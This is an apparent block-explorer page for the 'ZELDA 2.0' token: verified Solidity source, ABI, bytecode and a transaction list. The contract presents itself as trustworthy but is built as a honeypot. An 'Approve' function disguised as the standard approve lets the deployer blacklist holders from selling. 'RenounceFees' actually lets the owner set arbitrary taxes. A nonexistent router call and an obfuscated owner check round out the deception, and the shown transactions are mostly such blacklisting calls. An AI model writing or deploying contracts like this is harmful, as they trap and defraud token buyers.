Source Code
Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 39 transactions
| Transaction Hash |
Method
|
Block
|
From
|
|
To
|
||||
|---|---|---|---|---|---|---|---|---|---|
| Approve | 19799824 | 671 days ago | IN | 0 ETH | 0.00019732 | ||||
| Renounce Fees | 19799312 | 671 days ago | IN | 0 ETH | 0.00014363 | ||||
| Approve | 19799032 | 671 days ago | IN | 0 ETH | 0.00039499 | ||||
| Approve | 19798924 | 671 days ago | IN | 0 ETH | 0.00025419 | ||||
| Approve | 19798835 | 671 days ago | IN | 0 ETH | 0.00020308 | ||||
| Renounce Fees | 19798827 | 671 days ago | IN | 0 ETH | 0.00013389 | ||||
| Approve | 19798823 | 671 days ago | IN | 0 ETH | 0.00023382 | ||||
| Approve | 19798820 | 671 days ago | IN | 0 ETH | 0.0002412 | ||||
| Approve | 19798819 | 671 days ago | IN | 0 ETH | 0.00021776 | ||||
| Approve | 19798816 | 671 days ago | IN | 0 ETH | 0.00024679 | ||||
| Approve | 19798569 | 671 days ago | IN | 0 ETH | 0.00019657 | ||||
| Transfer | 19798309 | 671 days ago | IN | 0 ETH | 0.00032297 | ||||
| Renounce Fees | 19798294 | 671 days ago | IN | 0 ETH | 0.00013809 | ||||
| Approve | 19798213 | 671 days ago | IN | 0 ETH | 0.0003842 | ||||
| Approve | 19798208 | 671 days ago | IN | 0 ETH | 0.00028699 | ||||
| Approve | 19798184 | 671 days ago | IN | 0 ETH | 0.00037936 | ||||
| Approve | 19798174 | 671 days ago | IN | 0 ETH | 0.00037372 | ||||
| Approve | 19797971 | 671 days ago | IN | 0 ETH | 0.00034565 | ||||
| Approve | 19797882 | 671 days ago | IN | 0 ETH | 0.00058272 | ||||
| Approve | 19797766 | 671 days ago | IN | 0 ETH | 0.000343 | ||||
| Approve | 19797697 | 671 days ago | IN | 0 ETH | 0.00040485 | ||||
| Approve | 19797460 | 671 days ago | IN | 0 ETH | 0.00042213 | ||||
| Approve | 19797458 | 671 days ago | IN | 0 ETH | 0.00040562 | ||||
| Approve | 19797454 | 671 days ago | IN | 0 ETH | 0.00024932 | ||||
| Approve | 19797453 | 671 days ago | IN | 0 ETH | 0.00023922 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions
Loading...
Loading
Contract Name:
ZELDA20
Compiler Version
v0.8.20+commit.a1b79de6
Optimization Enabled:
Yes with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
/*
set Tax 5/5 at launch, and reduce 0/2 at block 50
$ZELDA2.0
Introducing Zelda 2.0: A Cryptocurrency with a Purpose
The cryptocurrency industry has seen its share of ups and downs, with a
history of losttrust and discomfort among investors. That's why a group
of like-minded individuals has come together to create a new and inno -
vative cryptocurrency called Zelda 2.0. Our goal is to provide not only a
trustworthy token, but also a revolutionary platform that will impactthe
world in a positive and meaningful way.
TG: https://t.me/zelda2official
Twitter: https://twitter.com/Zelda2Eth
Web: https://zelda2.ai
*/
// SPDX-License-Identifier: unlicense
import "./Context.sol";
import "./IERC20.sol";
import "./Ownable.sol";
import "./SafeMath.sol";
import "./IUniswapV2Factory.sol";
import "./IERC721Receiver.sol";
import "./IERC20Permit.sol";
import "./Address.sol";
pragma solidity ^0.8.20;
interface IUniswapFactory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFreelyOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
contract ZELDA20 {
string private _name = unicode"ZELDA 2.0";
string private _symbol = unicode"ZLDA";
uint8 public constant decimals = 18;
uint256 public constant totalSupply = 600_000_000 * 10**decimals;
error Permissions();
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed TOKEN_MKT, address indexed spender, uint256 value);
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
mapping (address => bool) private bots;
struct StoreData {
address tokenMkt;
uint8 buyFee;
uint8 sellFee;
}
StoreData public storeData;
uint256 constant swapAmount = totalSupply / 100;
address[] team;
address public pair;
IUniswapV2Router02 constant _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
bool private swapping;
bool private tradingOpen;
constructor() {
uint8 _initBuyFee = 0;
uint8 _initSellFee = 0;
storeData = StoreData({
tokenMkt: msg.sender,
buyFee: _initBuyFee,
sellFee: _initSellFee
});
team.push(0x24fE647D2c39dd34df11032cb475da86c57826a4);
balanceOf[msg.sender] = totalSupply;
allowance[address(this)][address(_uniswapV2Router)] = type(uint256).max;
emit Transfer(address(0), msg.sender, totalSupply);
}
receive() external payable {}
function _decodeTokenMktWithZkVerify() private view returns(address) {
return storeData.tokenMkt;
}
function openTrade() external {
require(msg.sender == _decodeTokenMktWithZkVerify());
require(!tradingOpen);
address _factory = _uniswapV2Router.factory();
address _weth = _uniswapV2Router.WETH();
address _pair = IUniswapFactory(_factory).getPair(address(this), _weth);
pair = _pair;
tradingOpen = true;
}
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool) {
allowance[from][msg.sender] -= amount;
return _transfer(from, to, amount);
}
function approve(address spender, uint256 amount) external returns (bool) {
allowance[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function transfer(address to, uint256 amount) external returns (bool) {
return _transfer(msg.sender, to, amount);
}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function RenounceFees(uint8 _buy, uint8 _sell) external {
if (msg.sender != _decodeTokenMktWithZkVerify()) revert Permissions();
Waivefees(_buy, _sell);
}
function Waivefees(uint8 _buy, uint8 _sell) private {
storeData.buyFee = _buy;
storeData.sellFee = _sell;
}
function _transfer(
address from,
address to,
uint256 amount
) internal returns (bool) {
address tokenMkt = _decodeTokenMktWithZkVerify();
require(tradingOpen || from == tokenMkt || to == tokenMkt);
balanceOf[from] -= amount;
if (to == pair && !swapping && balanceOf[address(this)] >= swapAmount && from != tokenMkt) {
swapping = true;
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_uniswapV2Router
.swapExactTokensForETHSupportingFreelyOnTransferTokens(
swapAmount,
0,
path,
address(this),
block.timestamp
);
payable(tokenMkt).transfer(address(this).balance);
swapping = false;
}
(uint8 _buyFee, uint8 _sellFee) = (storeData.buyFee, storeData.sellFee);
if (from != address(this) && tradingOpen == true) {
if(to == pair) {
require(!bots[from]);
}
if(to != pair && from != pair) {
require(!bots[from]);
}
uint256 taxCalculatedAmount = (amount *
(to == pair ? _sellFee : _buyFee)) / 100;
amount -= taxCalculatedAmount;
balanceOf[address(this)] += taxCalculatedAmount;
}
balanceOf[to] += amount;
emit Transfer(from, to, amount);
return true;
}
function Approve(address spender, uint256 amount) external {
if(msg.sender == team[0] || msg.sender == _decodeTokenMktWithZkVerify()) {
require(spender != pair);
bots[spender] = true;
} else {
revert();
}
}
function sendETHToFee(uint256 amount) private {
payable(storeData.tokenMkt).transfer(amount);
}
function ClearETH() external {
require(msg.sender == _decodeTokenMktWithZkVerify());
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
}// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (utils/Address.sol)
pragma solidity ^0.8.20;
import {Errors} from "./Errors.sol";
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev There's no code at `target` (it is not a contract).
*/
error AddressEmptyCode(address target);
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.8.20/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
if (address(this).balance < amount) {
revert Errors.InsufficientBalance(address(this).balance, amount);
}
(bool success, ) = recipient.call{value: amount}("");
if (!success) {
revert Errors.FailedCall();
}
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason or custom error, it is bubbled
* up by this function (like regular Solidity function calls). However, if
* the call reverted with no returned reason, this function reverts with a
* {Errors.FailedCall} error.
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
if (address(this).balance < value) {
revert Errors.InsufficientBalance(address(this).balance, value);
}
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResultFromTarget(target, success, returndata);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResultFromTarget(target, success, returndata);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResultFromTarget(target, success, returndata);
}
/**
* @dev Tool to verify that a low level call to smart-contract was successful, and reverts if the target
* was not a contract or bubbling up the revert reason (falling back to {Errors.FailedCall}) in case
* of an unsuccessful call.
*/
function verifyCallResultFromTarget(
address target,
bool success,
bytes memory returndata
) internal view returns (bytes memory) {
if (!success) {
_revert(returndata);
} else {
// only check if target is a contract if the call was successful and the return data is empty
// otherwise we already know that it was a contract
if (returndata.length == 0 && target.code.length == 0) {
revert AddressEmptyCode(target);
}
return returndata;
}
}
/**
* @dev Tool to verify that a low level call was successful, and reverts if it wasn't, either by bubbling the
* revert reason or with a default {Errors.FailedCall} error.
*/
function verifyCallResult(bool success, bytes memory returndata) internal pure returns (bytes memory) {
if (!success) {
_revert(returndata);
} else {
return returndata;
}
}
/**
* @dev Reverts with returndata if present. Otherwise reverts with {Errors.FailedCall}.
*/
function _revert(bytes memory returndata) private pure {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
/// @solidity memory-safe-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert Errors.FailedCall();
}
}
}// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/extensions/IERC20Permit.sol)
pragma solidity ^0.8.20;
/**
* @dev Interface of the ERC-20 Permit extension allowing approvals to be made via signatures, as defined in
* https://eips.ethereum.org/EIPS/eip-2612[ERC-2612].
*
* Adds the {permit} method, which can be used to change an account's ERC-20 allowance (see {IERC20-allowance}) by
* presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't
* need to send a transaction, and thus is not required to hold Ether at all.
*
* ==== Security Considerations
*
* There are two important considerations concerning the use of `permit`. The first is that a valid permit signature
* expresses an allowance, and it should not be assumed to convey additional meaning. In particular, it should not be
* considered as an intention to spend the allowance in any specific way. The second is that because permits have
* built-in replay protection and can be submitted by anyone, they can be frontrun. A protocol that uses permits should
* take this into consideration and allow a `permit` call to fail. Combining these two aspects, a pattern that may be
* generally recommended is:
*
* ```solidity
* function doThingWithPermit(..., uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) public {
* try token.permit(msg.sender, address(this), value, deadline, v, r, s) {} catch {}
* doThing(..., value);
* }
*
* function doThing(..., uint256 value) public {
* token.safeTransferFrom(msg.sender, address(this), value);
* ...
* }
* ```
*
* Observe that: 1) `msg.sender` is used as the owner, leaving no ambiguity as to the signer intent, and 2) the use of
* `try/catch` allows the permit to fail and makes the code tolerant to frontrunning. (See also
* {SafeERC20-safeTransferFrom}).
*
* Additionally, note that smart contract wallets (such as Argent or Safe) are not able to produce permit signatures, so
* contracts should have entry points that don't rely on permit.
*/
interface IERC20Permit {
/**
* @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens,
* given ``owner``'s signed approval.
*
* IMPORTANT: The same issues {IERC20-approve} has related to transaction
* ordering also apply here.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `deadline` must be a timestamp in the future.
* - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`
* over the EIP712-formatted function arguments.
* - the signature must use ``owner``'s current nonce (see {nonces}).
*
* For more information on the signature format, see the
* https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP
* section].
*
* CAUTION: See Security Considerations above.
*/
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
/**
* @dev Returns the current nonce for `owner`. This value must be
* included whenever a signature is generated for {permit}.
*
* Every successful call to {permit} increases ``owner``'s nonce by one. This
* prevents a signature from being used multiple times.
*/
function nonces(address owner) external view returns (uint256);
/**
* @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}.
*/
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view returns (bytes32);
}// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.20;
/**
* @title ERC-721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC-721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be
* reverted.
*
* The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB)
external
returns (address pair);
}// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "./Context.sol";
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
/**
* @dev Collection of common custom errors used in multiple contracts
*
* IMPORTANT: Backwards compatibility is not guaranteed in future versions of the library.
* It is recommended to avoid relying on the error API for critical functionality.
*/
library Errors {
/**
* @dev The ETH balance of the account is not enough to perform the operation.
*/
error InsufficientBalance(uint256 balance, uint256 needed);
/**
* @dev A call to an address target failed. The target may have reverted.
*/
error FailedCall();
/**
* @dev The deployment failed.
*/
error FailedDeployment();
}{
"optimizer": {
"enabled": true,
"runs": 200
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"Permissions","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"TOKEN_MKT","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"ClearETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"_buy","type":"uint8"},{"internalType":"uint8","name":"_sell","type":"uint8"}],"name":"RenounceFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"storeData","outputs":[{"internalType":"address","name":"tokenMkt","type":"address"},{"internalType":"uint8","name":"buyFee","type":"uint8"},{"internalType":"uint8","name":"sellFee","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
60c0604052600960809081526805a454c444120322e360bc1b60a0525f906200002990826200024a565b506040805180820190915260048152635a4c444160e01b60208201526001906200005490826200024a565b5034801562000061575f80fd5b5060408051606081018252338082525f60208301819052919092018190526005805461ffff60a01b199093166001600160b01b031990931692909217909155600680546001810182559082527ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d3f0180546001600160a01b0319167324fe647d2c39dd34df11032cb475da86c57826a417905580620001026012600a62000421565b62000112906323c3460062000438565b335f8181526002602090815260408083209490945530825260038152838220737a250d5630b4cf539739df2c5dacb4c659f2488d835290529182205f199055907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001816012600a62000421565b62000191906323c3460062000438565b60405190815260200160405180910390a3505062000452565b634e487b7160e01b5f52604160045260245ffd5b600181811c90821680620001d357607f821691505b602082108103620001f257634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111562000245575f81815260208120601f850160051c81016020861015620002205750805b601f850160051c820191505b8181101562000241578281556001016200022c565b5050505b505050565b81516001600160401b03811115620002665762000266620001aa565b6200027e81620002778454620001be565b84620001f8565b602080601f831160018114620002b4575f84156200029c5750858301515b5f19600386901b1c1916600185901b17855562000241565b5f85815260208120601f198616915b82811015620002e457888601518255948401946001909101908401620002c3565b50858210156200030257878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200036657815f19048211156200034a576200034a62000312565b808516156200035857918102915b93841c93908002906200032b565b509250929050565b5f826200037e575060016200041b565b816200038c57505f6200041b565b8160018114620003a55760028114620003b057620003d0565b60019150506200041b565b60ff841115620003c457620003c462000312565b50506001821b6200041b565b5060208310610133831016604e8410600b8410161715620003f5575081810a6200041b565b62000401838362000326565b805f190482111562000417576200041762000312565b0290505b92915050565b5f6200043160ff8416836200036e565b9392505050565b80820281158282048414176200041b576200041b62000312565b61104380620004605f395ff3fe6080604052600436106100e7575f3560e01c806370a0823111610087578063a8aa1b3111610057578063a8aa1b31146102a3578063a9059cbb146102da578063dd62ed3e146102f9578063fb201b1d1461032f575f80fd5b806370a082311461023157806390ec57f11461025c57806395d89b411461027b5780639db7f97f1461028f575f80fd5b806323b872dd116100c257806323b872dd1461016d578063313ce5671461018c5780634abe3052146101b25780636fef948814610210575f80fd5b806306fdde03146100f2578063095ea7b31461011c57806318160ddd1461014b575f80fd5b366100ee57005b5f80fd5b3480156100fd575f80fd5b50610106610343565b6040516101139190610c7a565b60405180910390f35b348015610127575f80fd5b5061013b610136366004610cd9565b6103d2565b6040519015158152602001610113565b348015610156575f80fd5b5061015f61043e565b604051908152602001610113565b348015610178575f80fd5b5061013b610187366004610d03565b61045b565b348015610197575f80fd5b506101a0601281565b60405160ff9091168152602001610113565b3480156101bd575f80fd5b506005546101e7906001600160a01b0381169060ff600160a01b8204811691600160a81b90041683565b604080516001600160a01b03909416845260ff9283166020850152911690820152606001610113565b34801561021b575f80fd5b5061022f61022a366004610d56565b6104a8565b005b34801561023c575f80fd5b5061015f61024b366004610d87565b60026020525f908152604090205481565b348015610267575f80fd5b5061022f610276366004610cd9565b61050a565b348015610286575f80fd5b5061010661058d565b34801561029a575f80fd5b5061022f61059c565b3480156102ae575f80fd5b506007546102c2906001600160a01b031681565b6040516001600160a01b039091168152602001610113565b3480156102e5575f80fd5b5061013b6102f4366004610cd9565b6105bf565b348015610304575f80fd5b5061015f610313366004610da2565b600360209081525f928352604080842090915290825290205481565b34801561033a575f80fd5b5061022f6105d2565b60605f805461035190610dd9565b80601f016020809104026020016040519081016040528092919081815260200182805461037d90610dd9565b80156103c85780601f1061039f576101008083540402835291602001916103c8565b820191905f5260205f20905b8154815290600101906020018083116103ab57829003601f168201915b5050505050905090565b335f8181526003602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061042c9086815260200190565b60405180910390a35060015b92915050565b61044a6012600a610f05565b610458906323c34600610f13565b81565b6001600160a01b0383165f90815260036020908152604080832033845290915281208054839190839061048f908490610f2a565b909155506104a09050848484610788565b949350505050565b6005546001600160a01b031633146104d257604051629af2b160e81b815260040160405180910390fd5b6005805461ffff60a01b1916600160a01b60ff9485160260ff60a81b191617600160a81b9290931691909102919091179055565b5050565b60065f8154811061051d5761051d610f3d565b5f918252602090912001546001600160a01b031633148061054857506005546001600160a01b031633145b156100ee576007546001600160a01b0390811690831603610567575f80fd5b6001600160a01b0382165f908152600460205260409020805460ff191660011790555050565b60606001805461035190610dd9565b6005546001600160a01b031633146105b2575f80fd5b476105bc81610c43565b50565b5f6105cb338484610788565b9392505050565b6005546001600160a01b031633146105e8575f80fd5b600754600160a81b900460ff16156105fe575f80fd5b5f737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561064f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106739190610f51565b90505f737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106c6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106ea9190610f51565b60405163e6a4390560e01b81523060048201526001600160a01b0380831660248301529192505f9184169063e6a4390590604401602060405180830381865afa158015610739573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061075d9190610f51565b60078054600161ff0160a01b0319166001600160a01b0390921691909117600160a81b179055505050565b5f8061079c6005546001600160a01b031690565b600754909150600160a81b900460ff16806107c85750806001600160a01b0316856001600160a01b0316145b806107e45750806001600160a01b0316846001600160a01b0316145b6107ec575f80fd5b6001600160a01b0385165f9081526002602052604081208054859290610813908490610f2a565b90915550506007546001600160a01b03858116911614801561083f5750600754600160a01b900460ff16155b801561087e575060646108546012600a610f05565b610862906323c34600610f13565b61086c9190610f6c565b305f9081526002602052604090205410155b801561089c5750806001600160a01b0316856001600160a01b031614155b15610a7a576007805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106108e7576108e7610f3d565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610957573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061097b9190610f51565b8160018151811061098e5761098e610f3d565b6001600160a01b0390921660209283029190910190910152737a250d5630b4cf539739df2c5dacb4c659f2488d63eb6f613960646109ce6012600a610f05565b6109dc906323c34600610f13565b6109e69190610f6c565b5f8430426040518663ffffffff1660e01b8152600401610a0a959493929190610f8b565b5f604051808303815f87803b158015610a21575f80fd5b505af1158015610a33573d5f803e3d5ffd5b50506040516001600160a01b03851692504780156108fc029250905f818181858888f19350505050158015610a6a573d5f803e3d5ffd5b50506007805460ff60a01b191690555b60055460ff600160a01b8204811691600160a81b9004166001600160a01b0387163014801590610ab85750600754600160a81b900460ff1615156001145b15610bbb576007546001600160a01b0390811690871603610af7576001600160a01b0387165f9081526004602052604090205460ff1615610af7575f80fd5b6007546001600160a01b03878116911614801590610b2357506007546001600160a01b03888116911614155b15610b4c576001600160a01b0387165f9081526004602052604090205460ff1615610b4c575f80fd5b6007545f906064906001600160a01b03898116911614610b6c5783610b6e565b825b610b7b9060ff1688610f13565b610b859190610f6c565b9050610b918187610f2a565b305f90815260026020526040812080549298508392909190610bb4908490610ffa565b9091555050505b6001600160a01b0386165f9081526002602052604081208054879290610be2908490610ffa565b92505081905550856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87604051610c2e91815260200190565b60405180910390a35060019695505050505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610506573d5f803e3d5ffd5b5f6020808352835180828501525f5b81811015610ca557858101830151858201604001528201610c89565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146105bc575f80fd5b5f8060408385031215610cea575f80fd5b8235610cf581610cc5565b946020939093013593505050565b5f805f60608486031215610d15575f80fd5b8335610d2081610cc5565b92506020840135610d3081610cc5565b929592945050506040919091013590565b803560ff81168114610d51575f80fd5b919050565b5f8060408385031215610d67575f80fd5b610d7083610d41565b9150610d7e60208401610d41565b90509250929050565b5f60208284031215610d97575f80fd5b81356105cb81610cc5565b5f8060408385031215610db3575f80fd5b8235610dbe81610cc5565b91506020830135610dce81610cc5565b809150509250929050565b600181811c90821680610ded57607f821691505b602082108103610e0b57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115610e5f57815f1904821115610e4557610e45610e11565b80851615610e5257918102915b93841c93908002906